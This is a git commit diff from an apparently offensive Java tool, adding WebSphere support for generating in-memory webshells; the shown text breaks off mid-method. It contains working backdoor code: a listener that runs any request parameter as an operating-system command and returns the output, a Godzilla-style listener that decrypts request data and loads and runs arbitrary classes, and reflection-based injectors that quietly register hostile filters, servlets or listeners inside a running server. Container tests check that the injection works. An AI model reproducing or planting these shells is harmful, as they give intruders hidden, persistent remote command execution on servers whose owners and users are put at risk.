feat: support websphere shell generate (#2)

This commit is contained in:
ReaJason
2024-12-21 19:54:31 +08:00
parent 4219f1ba9d
commit 21df9f8273
12 changed files with 1000 additions and 10 deletions
+1 -1
View File
@@ -31,7 +31,7 @@ jobs:
strategy:
fail-fast: false
matrix:
middleware: [ "tomcat", "jetty", "jbossas", "jbosseap", "wildfly", "glassfish", "resin", "payara" ]
middleware: [ "tomcat", "jetty", "jbossas", "jbosseap", "wildfly", "glassfish", "resin", "payara", "websphere" ]
runs-on: ubuntu-latest
name: ${{ matrix.middleware }}
needs: [ unit-test ]
@@ -1,13 +1,6 @@
package com.reajason.javaweb.config;
import com.reajason.javaweb.memshell.AbstractShell;
import com.reajason.javaweb.memshell.GlassFishShell;
import com.reajason.javaweb.memshell.JbossShell;
import com.reajason.javaweb.memshell.JettyShell;
import com.reajason.javaweb.memshell.PayaraShell;
import com.reajason.javaweb.memshell.ResinShell;
import com.reajason.javaweb.memshell.TomcatShell;
import com.reajason.javaweb.memshell.UndertowShell;
import com.reajason.javaweb.memshell.*;
import lombok.Getter;
/**
@@ -50,7 +43,7 @@ public enum Server {
/**
* WebSphere 中间件
*/
WebSphere(null),
WebSphere(new WebSphereShell()),
/**
* WebLogic 中间件
@@ -0,0 +1,46 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
import com.reajason.javaweb.memshell.websphere.command.CommandListener;
import com.reajason.javaweb.memshell.websphere.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.websphere.injector.WebSphereFilterInjector;
import com.reajason.javaweb.memshell.websphere.injector.WebSphereListenerInjector;
import com.reajason.javaweb.memshell.websphere.injector.WebSphereServletInjector;
import org.apache.commons.lang3.tuple.Pair;
import java.util.List;
import java.util.Map;
/**
* @author ReaJason
* @since 2024/12/21
*/
public class WebSphereShell extends AbstractShell {
@Override
public List<ShellTool> getSupportedShellTools() {
return List.of(ShellTool.Command, ShellTool.Godzilla);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
return Map.of(
Constants.SERVLET, Pair.of(CommandServlet.class, WebSphereServletInjector.class),
Constants.FILTER, Pair.of(CommandFilter.class, WebSphereFilterInjector.class),
Constants.LISTENER, Pair.of(CommandListener.class, WebSphereListenerInjector.class)
);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
return Map.of(
Constants.SERVLET, Pair.of(GodzillaServlet.class, WebSphereServletInjector.class),
Constants.FILTER, Pair.of(GodzillaFilter.class, WebSphereFilterInjector.class),
Constants.LISTENER, Pair.of(GodzillaListener.class, WebSphereListenerInjector.class)
);
}
}
@@ -0,0 +1,12 @@
services:
was855:
image: reajason/websphere:8.5.5.24
container_name: was855
ports:
- "9080:9080"
- "9060:9060"
- "5005:5005"
environment:
JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
volumes:
- ../../../vul-webapp/build/libs/vul-webapp.war:/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war
@@ -0,0 +1,74 @@
package com.reajason.javaweb.integration.websphere;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.Server;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memshell.packer.Packer;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.BindMode;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.time.Duration;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.warFile;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.junit.jupiter.params.provider.Arguments.arguments;
/**
* @author ReaJason
* @since 2024/12/21
*/
@Testcontainers
@Slf4j
public class WebSphere855ContainerTest {
public static final String imageName = "reajason/websphere:8.5.5.24";
@Container
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
.withFileSystemBind(warFile.getFilesystemPath(), "/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war", BindMode.READ_WRITE)
.waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5)))
.withExposedPorts(9080)
.withPrivilegedMode(true);
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP)
);
}
@AfterAll
static void tearDown() {
String logs = container.getLogs();
log.info("container stopped, logs is : {}", logs);
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
testShellInjectAssertOk(getUrl(container), Server.WebSphere, shellType, shellTool, Opcodes.V1_6, packer);
}
public static String getUrl(GenericContainer<?> container) {
String host = container.getHost();
int port = container.getMappedPort(9080);
String url = "http://" + host + ":" + port + "/app";
log.info("container started, app url is : {}", url);
return url;
}
}
@@ -0,0 +1,71 @@
package com.reajason.javaweb.integration.websphere;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.Server;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memshell.packer.Packer;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.BindMode;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.time.Duration;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.warFile;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.junit.jupiter.params.provider.Arguments.arguments;
/**
* @author ReaJason
* @since 2024/12/21
*/
@Testcontainers
@Slf4j
public class WebSphere905ContainerTest {
public static final String imageName = "reajason/websphere:9.0.5.17";
@Container
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
.withFileSystemBind(warFile.getFilesystemPath(), "/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war", BindMode.READ_WRITE)
.waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5)))
.withExposedPorts(9080)
.withPrivilegedMode(true);
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP)
);
}
@AfterAll
static void tearDown() {
String logs = container.getLogs();
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
testShellInjectAssertOk(getUrl(container), Server.WebSphere, shellType, shellTool, Opcodes.V1_6, packer);
}
public static String getUrl(GenericContainer<?> container) {
String host = container.getHost();
int port = container.getMappedPort(9080);
String url = "http://" + host + ":" + port + "/app";
log.info("container started, app url is : {}", url);
return url;
}
}
@@ -0,0 +1,68 @@
package com.reajason.javaweb.memshell.websphere.command;
import javax.servlet.ServletOutputStream;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.lang.reflect.Field;
/**
* @author ReaJason
*/
public class CommandListener implements ServletRequestListener {
public String paramName = "{{paramName}}";
public CommandListener() {
}
@SuppressWarnings("all")
public static synchronized Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
@Override
public void requestDestroyed(ServletRequestEvent sre) {
}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
try {
String cmd = request.getParameter(paramName);
if (cmd != null) {
HttpServletResponse servletResponse = this.getResponseFromRequest(request);
Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream();
ServletOutputStream outputStream = servletResponse.getOutputStream();
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
}
} catch (Exception ignored) {
}
}
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
return (HttpServletResponse) getFieldValue(getFieldValue(request, "_connContext"), "_response");
}
}
@@ -0,0 +1,142 @@
package com.reajason.javaweb.memshell.websphere.godzilla;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
/**
* @author ReaJason
*/
public class GodzillaListener extends ClassLoader implements ServletRequestListener {
public String key = "{{key}}";
public String pass = "{{pass}}";
public String md5 = "{{md5}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public GodzillaListener() {
}
public GodzillaListener(ClassLoader z) {
super(z);
}
@SuppressWarnings("all")
public static synchronized Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
@SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception {
String value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object encoder = base64.newInstance();
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@SuppressWarnings("deprecation")
public Class<?> Q(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
public byte[] x(byte[] s, boolean m) {
try {
Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception var4) {
return null;
}
}
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
@Override
@SuppressWarnings("all")
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
try {
if (request.getHeader(headerName) != null
&& request.getHeader(headerName).contains(headerValue)) {
HttpServletResponse response = this.getResponseFromRequest(request);
HttpSession session = request.getSession();
byte[] data = base64Decode(request.getParameter(pass));
data = this.x(data, false);
if (session.getAttribute("payload") == null) {
session.setAttribute(
"payload",
(new GodzillaListener(this.getClass().getClassLoader())).Q(data));
} else {
request.setAttribute("parameters", data);
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = ((Class<?>) session.getAttribute("payload")).newInstance();
f.equals(arrOut);
f.equals(request);
response.getWriter().write(md5.substring(0, 16));
f.toString();
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
response.getWriter().write(md5.substring(16));
response.flushBuffer();
}
}
} catch (Exception ignored) {
}
}
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
return (HttpServletResponse) getFieldValue(getFieldValue(request, "_connContext"), "_response");
}
}
@@ -0,0 +1,251 @@
package com.reajason.javaweb.memshell.websphere.injector;
import javax.servlet.Filter;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.List;
import java.util.zip.GZIPInputStream;
/**
* tested v7、v8
* update 2023/07/08
*
* @author ReaJason
*/
public class WebSphereFilterInjector {
static {
new WebSphereFilterInjector();
}
public WebSphereFilterInjector() {
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object filter = getShell(context);
inject(context, filter);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() throws IOException {
return "{{base64Str}}";
}
public List<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>();
Object context;
Object obj = getFieldValue(Thread.currentThread(), "wsThreadLocals");
Object[] wsThreadLocals = (Object[]) obj;
for (Object wsThreadLocal : wsThreadLocals) {
obj = wsThreadLocal;
// for websphere 7.x
if (obj != null && obj.getClass().getName().endsWith("FastStack")) {
Object[] stackList = (Object[]) getFieldValue(obj, "stack");
for (Object stack : stackList) {
try {
Object config = getFieldValue(stack, "config");
context = getFieldValue(getFieldValue(config, "context"), "context");
contexts.add(context);
} catch (Exception ignored) {
}
}
} else if (obj != null && obj.getClass().getName().endsWith("WebContainerRequestState")) {
context = getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(obj, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context");
contexts.add(context);
}
}
return contexts;
}
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
Object obj;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
obj = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
obj = clazz.newInstance();
}
return obj;
}
@SuppressWarnings("unchecked")
public void inject(Object context, Object filter) throws Exception {
if (isInjected(context)) {
System.out.println("filter already injected");
return;
}
Class<?> filterMappingClass;
Class<?> iFilterConfigClass;
Class<?> iServletConfigClass;
ClassLoader classLoader;
try {
classLoader = context.getClass().getClassLoader();
filterMappingClass = classLoader.loadClass("com.ibm.ws.webcontainer.filter.FilterMapping");
iFilterConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.filter.IFilterConfig");
iServletConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.servlet.IServletConfig");
} catch (Exception e) {
classLoader = Thread.currentThread().getContextClassLoader();
filterMappingClass = classLoader.loadClass("com.ibm.ws.webcontainer.filter.FilterMapping");
iFilterConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.filter.IFilterConfig");
iServletConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.servlet.IServletConfig");
}
Object filterManager = getFieldValue(context, "filterManager");
try {
// v8
Constructor<?> constructor = filterMappingClass.getConstructor(String.class, iFilterConfigClass, iServletConfigClass);
// com.ibm.ws.webcontainer.webapp.WebApp.commonAddFilter
setFieldValue(context, "initialized", false);
Object filterConfig = invokeMethod(context, "commonAddFilter", new Class[]{String.class, String.class, Filter.class, Class.class}, new Object[]{getClassName(), getClassName(), filter, filter.getClass()});
Object filterMapping = constructor.newInstance(getUrlPattern(), filterConfig, null);
setFieldValue(context, "initialized", true);
// com.ibm.ws.webcontainer.filter.WebAppFilterManager.addFilterMapping
invokeMethod(filterManager, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMapping});
// com.ibm.ws.webcontainer.filter.WebAppFilterManager#_loadFilter
invokeMethod(filterManager, "_loadFilter", new Class[]{String.class}, new Object[]{getClassName()});
} catch (Exception e) {
// v7
Object filterConfig = invokeMethod(context, "createFilterConfig", new Class[]{String.class}, new Object[]{getClassName()});
invokeMethod(filterConfig, "setFilterClassName", new Class[]{String.class}, new Object[]{filter.getClass().getName()});
setFieldValue(filterConfig, "dispatchMode", new int[]{0});
setFieldValue(filterConfig, "name", getClassName());
invokeMethod(context, "addMappingFilter", new Class[]{String.class, iFilterConfigClass}, new Object[]{getUrlPattern(), filterConfig});
List<Object> uriFilterMappings = (ArrayList<Object>) getFieldValue(filterManager, "uriFilterMappings");
int lastIndex = uriFilterMappings.size() - 1;
Object lastElement = uriFilterMappings.remove(lastIndex);
uriFilterMappings.add(0, lastElement);
invokeMethod(filterManager, "_loadFilter", new Class[]{String.class}, new Object[]{getClassName()});
}
// 清除缓存
invokeMethod(getFieldValue(filterManager, "chainCache"), "clear", null, null);
System.out.println("filter injected successfully");
}
public boolean isInjected(Object context) throws Exception {
Object webAppConfiguration = getFieldValue(context, "config");
return invokeMethod(webAppConfiguration, "getFilterInfo", new Class[]{String.class}, new Object[]{getClassName()}) != null;
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws
Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
} finally {
if (gzipInputStream != null) {
try {
gzipInputStream.close();
} catch (IOException ignored) {
}
}
out.close();
}
return out.toByteArray();
}
private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = getField(obj, fieldName);
field.setAccessible(true);
field.set(obj, value);
}
@SuppressWarnings("all")
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
for (Class<?> clazz = obj.getClass();
clazz != Object.class;
clazz = clazz.getSuperclass()) {
try {
return clazz.getDeclaredField(name);
} catch (NoSuchFieldException ignored) {
}
}
throw new NoSuchFieldException(name);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
try {
Field field = getField(obj, name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException ignored) {
}
return null;
}
}
@@ -0,0 +1,151 @@
package com.reajason.javaweb.memshell.websphere.injector;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.List;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
*/
public class WebSphereListenerInjector {
public String getClassName() {
return "{{className}}";
}
public String getBase64String() throws IOException {
return "{{base64Str}}";
}
static {
new WebSphereListenerInjector();
}
public WebSphereListenerInjector() {
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object listener = getShell(context);
inject(context, listener);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public List<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>();
Object context;
Object obj = getFieldValue(Thread.currentThread(), "wsThreadLocals");
Object[] wsThreadLocals = (Object[]) obj;
for (Object wsThreadLocal : wsThreadLocals) {
obj = wsThreadLocal;
// for websphere 7.x
if (obj != null && obj.getClass().getName().endsWith("FastStack")) {
Object[] stackList = (Object[]) getFieldValue(obj, "stack");
for (Object stack : stackList) {
try {
Object config = getFieldValue(stack, "config");
context = getFieldValue(getFieldValue(config, "context"), "context");
contexts.add(context);
} catch (Exception ignored) {
}
}
} else if (obj != null && obj.getClass().getName().endsWith("WebContainerRequestState")) {
context = getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(obj, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context");
contexts.add(context);
}
}
return contexts;
}
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
Object obj;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
obj = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
obj = clazz.newInstance();
}
return obj;
}
@SuppressWarnings("unchecked")
public void inject(Object context, Object listener) throws Exception {
List<Object> listeners = (List<Object>) getFieldValue(context, "servletRequestListeners");
for (Object o : listeners) {
if (o.getClass().getName().equals(getClassName())) {
System.out.println("listener already injected");
return;
}
}
listeners.add(listener);
System.out.println("listener injected successfully");
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
} finally {
if (gzipInputStream != null) {
try {
gzipInputStream.close();
} catch (IOException ignored) {
}
}
out.close();
}
return out.toByteArray();
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
for (Class<?> clazz = obj.getClass();
clazz != Object.class;
clazz = clazz.getSuperclass()) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException ignored) {
}
}
throw new NoSuchFieldException(name);
}
}
@@ -0,0 +1,178 @@
package com.reajason.javaweb.memshell.websphere.injector;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.List;
import java.util.Properties;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2024/12/21
*/
public class WebSphereServletInjector {
static {
new WebSphereServletInjector();
}
public WebSphereServletInjector() {
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object listener = getShell(context);
inject(context, listener);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() throws IOException {
return "{{base64Str}}";
}
public List<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>();
Object context;
Object obj = getFieldValue(Thread.currentThread(), "wsThreadLocals");
Object[] wsThreadLocals = (Object[]) obj;
for (Object wsThreadLocal : wsThreadLocals) {
obj = wsThreadLocal;
// for websphere 7.x
if (obj != null && obj.getClass().getName().endsWith("FastStack")) {
Object[] stackList = (Object[]) getFieldValue(obj, "stack");
for (Object stack : stackList) {
try {
Object config = getFieldValue(stack, "config");
context = getFieldValue(getFieldValue(config, "context"), "context");
contexts.add(context);
} catch (Exception ignored) {
}
}
} else if (obj != null && obj.getClass().getName().endsWith("WebContainerRequestState")) {
context = getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(obj, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context");
contexts.add(context);
}
}
return contexts;
}
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
Object obj;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
obj = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
obj = clazz.newInstance();
}
return obj;
}
public void inject(Object context, Object servlet) throws Exception {
Object config = getFieldValue(context, "config");
Object servletInfo = invokeMethod(config, "getServletInfo", new Class[]{String.class}, new Object[]{getClassName()});
if (servletInfo != null) {
System.out.println("servlet already injected");
return;
}
invokeMethod(context, "addDynamicServlet", new Class[]{String.class, String.class, String.class, Properties.class}, new Object[]{getClassName(), servlet.getClass().getName(), getUrlPattern(), null});
System.out.println("servlet injected successfully");
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
} finally {
if (gzipInputStream != null) {
try {
gzipInputStream.close();
} catch (IOException ignored) {
}
}
out.close();
}
return out.toByteArray();
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
for (Class<?> clazz = obj.getClass();
clazz != Object.class;
clazz = clazz.getSuperclass()) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException ignored) {
}
}
throw new NoSuchFieldException(name);
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws
Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
